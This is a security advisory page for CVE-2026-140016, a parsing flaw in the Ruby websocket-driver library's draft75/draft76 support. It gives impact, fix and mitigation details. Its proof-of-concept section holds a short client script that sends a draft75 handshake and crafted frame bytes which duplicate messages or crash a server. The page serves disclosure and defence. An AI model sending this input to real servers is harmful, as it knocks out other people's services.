CVE-2026-140016 is a critical-severity (CVSS 9.1) CWE-248 vulnerability in websocket-driver. A fix is available for websocket-driver — see the affected versions and patch details below.
websocket-driver: Message corruption and denial of service triggered by crafted client message
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-140016.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
Where this sits among everything scored
Real-World Exposure
websocket-driverReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects RubyGems packages — download data is not available via public APIs for these ecosystems.
Description
Summary
An unauthenticated remote client can trigger message corruption and denial of service by starting a draft75 or draft76 WebSocket connection and sending a brief sequence of bytes. The byte sequence is parsed incorrectly and can lead to duplicate messages or server crash.
Details
The websocket-driver library supports earlier versions of the WebSocket protocol from before the RFC was standardised, particularly the draft75 and draft76 versions. There is a bug in the parsing of messages in these versions that can lead to the server duplicating received messages or crashing when a client sends a specific sequence of bytes over a connection being handled by this parser. No special conditions are required and the input message that triggers this behaviour is very short, so an attacker can easily crash a remote server.
To mitigate this, the parser bug has been fixed, and support for draft protocol versions has been disabled by default. Servers wanting to continue to support these versions need to pass the option allow_drafts: true when creating a driver instance.
Proof of concept
Given a server using websocket-driver to handle WebSocket connections:
require 'eventmachine'
require 'websocket/driver'
module Connection
def initialize
@driver = WebSocket::Driver.server(self)
@driver.on(:connect) { |ev| @driver.start if WebSocket::Driver.websocket? @driver.env }
@driver.on(:close) { |ev| close_connection_after_writing }
@driver.on(:message) { |ev| p [:msg, ev.data] }
end
def receive_data(data)
@driver.parse(data)
end
def write(data)
send_data(data)
end
end
EM.run {
EM.start_server('127.0.0.1', 8000, Connection)
}
A client can connect and send a set of headers that will pass as a draft75 handshake, followed by two message frames:
require 'eventmachine'
require 'uri'
module Connection
def connection_completed
send_data [
'GET / HTTP/1.1',
'Host: 127.0.0.1:8000',
'Connection: upgrade',
'Upgrade: websocket',
'', ''
].join("\r\n")
send_data [0x00, 0x48, 0x69, 0xff].pack('C*')
send_data [0x80, 0x01, 0xff].pack('C*')
end
end
EM.run {
url = 'ws://127.0.0.1:8000/'
uri = URI.parse(url)
EM.connect(uri.host, uri.port, Connection)
}
This client will cause the server to emit the message Hi twice when it was only sent once. If the first frame is omitted and the client sends only 80 01 ff, then the server crashes.
After upgrading to a patched version, both these situations are handled correctly if allow_drafts: true is set. If it is not set then the connection is rejected as a bad request.
Impact
Users running a server using websocket-driver to handle WebSocket connections are vulnerable to denial of service triggered by a single frame sent by an unauthenticated client. The only known mitigation is to upgrade to a patched release.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 💎RubyGems | websocket-driver | all versions | 0.9.0bundle update websocket-driver --conservative |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for websocket-driver, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update websocket-driver to 0.9.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-140016 is resolved across your whole dependency graph.
Workarounds
Cap what an attacker can consume: apply request size, rate and timeout limits in front of the affected component, and run it with memory and CPU limits so exhaustion degrades one worker rather than the whole service.
Fixing This On Your OS
If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.
A flaw in the draft75 and draft76 message parsing logic of websocket-driver allows an unauthenticated remote client to send a short crafted byte sequence, leading to application message duplication or server denial of service. Red Hat Product Security has rated this flaw as Important rather than Critical. Although an…
Configure the WebSocket driver initialization to disable legacy draft protocols by setting `allow_drafts: false` if supported by your installed version, or filter incoming WebSocket upgrade requests at a reverse proxy to reject draft75/draft76 handshakes (requests containing `Sec-WebSocket-Key1`/`Sec-WebSocket-Key2` or lacking `Sec-WebSocket-Version`).Source: Red Hat security advisory for CVE-2026-140016 (CC BY 4.0)
Frequently Asked Questions
Is CVE-2026-140016 in your dependencies?
Find it across RubyGems, including transitive dependencies.